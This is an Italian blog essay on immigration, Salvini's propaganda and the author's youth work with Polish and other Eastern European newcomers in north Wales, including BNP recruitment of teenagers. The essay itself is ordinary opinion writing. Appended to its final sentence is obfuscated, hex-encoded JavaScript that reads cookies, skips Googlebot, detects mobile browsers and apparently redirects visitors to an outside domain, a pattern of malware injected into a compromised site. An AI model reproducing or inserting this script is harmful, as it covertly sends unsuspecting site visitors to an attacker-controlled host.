L’immigrazione A? inevitabile?
In seguito all’interessante discussione di alcune sere fa sull’immigrazione, la propaganda di Salvini e la percezione della gente, provo a scrivere delle riflessioni.
Alcune sono dettate da esperienze personali poichAi??, anni fa, fu mio compito calmare i bollori di gruppi di adolescenti locali con cui lavoravo, allarmati dall’arrivo di immigrati dai paesi dell’Est; soprattutto dalla Polonia, ma anche dalla Lituania, Russia, Romania e Repubblica Ceca. A questi immigrati si aggiunsero pure giovanissimi profughi, temporaneamente adottati, in attesa di permessi, da varie istituzioni locali.
Le riflessioni generali sono sorte dall’articolo di Repubblica, gentilmente postato da Lady Viper che sembra confermare le asserzioni precedentemente fatte da Luchetto, che gli italiani non vogliono gli immigrati. L’articolo espone chiaramente l’ascesa della paura e preoccupazione verso l’immigrazione in periodi particolari, per esempio durante le campagne elettorali. Questo dovrebbe porre delle domande a coloro che, secondo me erroneamente, credono che la propaganda non abbia alcun effetto, perchAi?? la xenofobia A? un sentimento endemico tra il popolo italico e la paura del ‘diverso’ una norma dell’essere umano.
A queste premesse aggiungo un appunto:
concordo completamente sul fatto che le ondate migratorie degli ultimi anni siano state mal gestite. Ancora di piA?, capisco le paure di coloro che si sentono preoccupati dall’improvviso influsso di persone di culture diverse, soprattutto quando queste persone sono giovani, aitanti e Ai??prive di risorse per essere autosufficienti. Su questo, chi ha potere politico e decisionale deve riflettere ed agire, particolarmente su temi quali la differenziazione tra migranti economici e non, Ai??il dovere costituzionale di accoglienza ai profughi di guerre e carestie, e leggi quali il reato di clandestinitAi??.
La responsabilitAi?? per gli sbarchi e lo smistamento A? e deve essere condivisa a livello europeo, e severe sanzioni applicate a governi e stati che non si assumono queste responsabilitAi??.
Cose complesse, da discutere pacatamente e da non lasciare ai Salvini, Farage o Dibba qualsiasi, poichAi?? costoro non promuovono soluzioni ma solamente propaganda spicciola e manipolazione delle paure altrui.
Where the hell is Krakov?
Tornando a noi, i cittadini, la gente, i figli e i genitori, e tornando alle mie esperienze personali; un altro articolo ha suscitato commenti e discussioni.
Una quindicina d’anni fa, il mio ed altri piccoli centri del nord del Galles, che non avevano visto ‘stranieri’ se non col contagocce (io ero una dei pochi), hanno improvvisamente trovato, nelle loro strade, ospedali, fabbriche e ospizi, vicini di casa,commercianti, infermieri, muratori, idraulici, badanti, raccoglitori di frutta e ortaggi, spennatori di polli, veterinari, provenienti da mondi alieni.
Where the hell is Krakov? li sentivo mormorare…
Pochi discutono un fatto quasi contemporaneo: nello stesso periodo veniva a sentirsi la mancanza, in certi settori, della manodopera irlandese che, con i primi ruggiti della Tigre celtica (Irish Tiger), vedeva gli irlandesi residenti in Gran Bretagna tornare a casa. Ricordiamolo un attimo, quel fenomeno: tra il 1990 e 2005, l’economia irlandese, grazie agli aiuti dell’Unione Europea, massicci investimenti nel settore edile e industriale, allo sviluppo di un nuovi sistemi bancari e finanziari ed un generoso sistema fiscale, ha fatto sparire dall’UK centinaia di migliaia di lavoratori irlandesi. La popolazione irlandese A? incrementata del 15%. In un solo anno ( 2004-2005), l’occupazione irlandese A? salita del 5%.
A Londra ed altre cittAi??, improvvisamente, mancavano muratori, elettricisti, idraulici, infermiere. PiA?’ ingrassava la tigre, piA?’ il problema si faceva sentire altrove.
un caso irlandese
Vorrei aprire una breve parentesi, su quegli irlandesi, poichAi?? i pregiudizi e le battaglie che questo gruppo ha dovuto affrontare, qui in UK, sono stati lunghi e dolorosi e dovuti ad un fatto oggi dimenticato: il terrorismo “protestante o cattolico”, A? costato la vita a centinaia di innocenti.
Essere irlandese, negli anni degli attentati, era marchio di complicitAi??. Ingiustizie perpetrate contro i Guiford Four o i Birmingham Six, imprigionati per 15 anni i primi e 16 anni i secondi, pur innocenti di massacri da loro mai compiuti, sono evidenza di un pregiudizio istituzionale reso tale pure con l’aiuto di propaganda e manipolazione politica.
Dovrebbe essere una lezione per quelli che: “Tutti i mussulmani…”.
Tornando al vuoto lasciato dagli irlandesi, questo vuoto e’ venuto piano piano a riempirsi, perchAi?? nonostante le chiacchiere nessuno lascia la propria casa, la propria storia, lingua, radici, per compilare 56 pagine di moduli e ricevere, in cambio, un pugno di sterline al mese.
Si va dove c’A? lavoro.
Due settori particolarmente in crisi, erano quello della sanitAi?? e quello dell’edilizia. Code infinite per trovare un dentista della mutua erano comuni ovunque; gli stessi che si lamentavano di “Ci sono troppi stranieri!”, hanno iniziato a ringraziare i molti dentisti arrivati nei nostri laboratori dai paesi dell’est. Sul settore edile hanno presto compensato i lavoratori lituani e polacchi. Un tal Nigel Farage (allora sconosciuto in Italia), ruttava quotidianamente contro gli idraulici polacchi e, a suo seguito, il Daily Mail, the Sun e News of the World.
Il subbuglio creato dai nuovi arrivi non ha tardato a farsi sentire nelle scuole e centri educativi. Sono iniziate le Ai??risse nei parchi e fuori dei pub e le prime rappresaglie tra studenti: “Non parlano la nostra lingua”, “Non capisco cosa si dicono tra loro, sicuramente parlano male di noi”, “Ha guardato la mia ragazza”. Ogni scusa era buona.
Dopo mesi di visite regolari tra scuole medie e college, sono arrivati al nostro centro educativo i primi ragazzi polacchi. Due, poi otto, poi venti. Polacchi, cechi, russi. Integrarli con i ragazzi locali non e’ stato facile. Ma e’ successo.
Giochi, storie, discussioni, lacrime, espulsioni, lettere, visite a casa, telefonate. E storie d’amore, storie di amicizie fatte condividendo uno spinello al parco, due birre al concerto, e tante, tante conversazioni su cosa significa essere diversi. E sono stati i ragazzi ad estendere questo lavoro nelle loro case, scuole, college.
Tutto mentre il British National Party (BNP), mai attecchito prima in queste “borderlands”, iniziava a farsi sentire e presentare candidati alle elezioni locali. La fiducia ed il rispetto conquistati con anni di lavoro mi ha dato modo di sapere come il BNP reclutava tra i giovani.
Avevo le mie spie; alcuni ragazzi, tra i 16 e i 20 anni, hanno partecipato alle loro riunioni, e venivano al Centro a raccontarmene i discorsi.
Il motto del BNP ( spesso usato oggi da Salvini, Le Pen ed il National Front) era: ” Non siamo razzisti, siamo realisti”.Ai??
A? da quel motto che ho preso spunto per il mio lavoro.
Non sono realista ma…
Ho chiesto quanto era “realistico’ mandare via i dentisti, eliminare tutti i calciatori stranieri dalla Premier League, la pizza ed il gelato dalla loro dieta, Bob Marley dalle loro magliette, il coreografo nero che da Birmingham arrivava bello come un dio in terra ad insegnargli cose solo viste in televisione…”No, loro restano, e anche tu, perchAi?? siete voi…”.Allora ho pure chiesto cosa c’era di “non razzista” nel discorso del BNP, che voleva questa gente (inclusa me) lontana solo perchAi?? proveniente da un altro paese.
Se noi potevamo restare, perchAi?? eravamo noi, perchAi?? non vedere cosa c’era, di “noi”, in quegli “altri”? E loro? Cosa dire di loro, gallesi alcuni, di cui gli inglesi trovavano ridicolo l’accento, patetica la storia, “terrona ” la cultura? Non erano diversi anche loro?
Una cosa ho capito da quei giorni, da quei giovani: c’A? una etAi?? in cui si vuole dimostrare di essere adulti, di essere capaci di decisioni, di indipendenza, di pensieri ed idee che si distinguono da quelle dei nostri genitori. A? un momento delicato, di confusione e ricerca. A? un momento in cui si ha bisogno dell’attenzione degli adulti. E quegli adulti non sono gli autoritari ma gli autorevoli, quelli che meritano rispetto perchAi?? sono ascoltatori attenti, perchAi?? osservano, perchAi?? si curano delle loro giovani piante, perchAi?? in quell’ascoltare non sempre dicono sAi??, ma hanno la cortesia di dissentire con rispetto, di fare domande…e di cogliere, nelle risposte, quale malessere o gioia ci siano nascosti.
Quanto tempo abbiamo, tutti, di coltivare le nostre piante? Ne abbiamo quanto il BNP e Forza Nuova? Ne abbiamo meno? Quanti sono, intorno a noi, genitori giAi?? vessati da lavoro, troppe email, troppe telefonate, troppe complicazioni finanziarie, politiche, affettive, domestiche, interiori, ad avere supporto ed aiuto quando i nostri figli non ci ascoltano piA?? Quante mamme pancine, che stanno crescendo i figli con petalogia e gioielli di placenta saranno capaci, domani, di gestire figli adolescenti innamorati delle svastiche di turno?
Io non credo che la paura del diverso sia innata. I bambini non hanno senso del diverso. Hanno il senso del brutto, la paura del buio o del troppo rumore.
Ma “il diverso” e’ un concetto adulto. I molti ragazzi del mio paese che per un motivo o per un altro erano versi su una brutta piega, in un momento storico di cambiamento e propaganda ossessiva, si sono dimostrati migliori di molti adulti. Hanno detto no al BNP da giovanissimi, votato per restare in Europa nella loro prima esperienza di voto, alcuni hanno relazioni con compagni/e provenienti da altre nazioni. Altri sono ora genitori. Quello che hanno imparato, da adulti attenti ed educatori a loro interessati, rimarrAi?? per sempre.
Quello che io ho imparato da loro A? che ci vuole impegno a cambiare le cose.
Ci vuole un’idea, chiara, precisa, di che societAi?? vogliamo per noi stessi e per gli altri.
E ci vuole impegno per realizzarla.
Quell’impegno, e l’esempio di quell’impegno, creano a loro volta autorevolezza e rispetto.
E nessuno A? piA? potente e capace di cambiare le cose, di coloro che hanno l’autorevolezza ed il rispetto dei giovani attorno; la propaganda di Salvini, se contrastata con le voci autorevoli e chiare di noi tutti, genitori, fratelli, sorelle, insegnanti, vicini di casa, zii, A? un peto nella foresta.
Coraggio compagni viandanti: siamo piA? forti di quanto pensiamo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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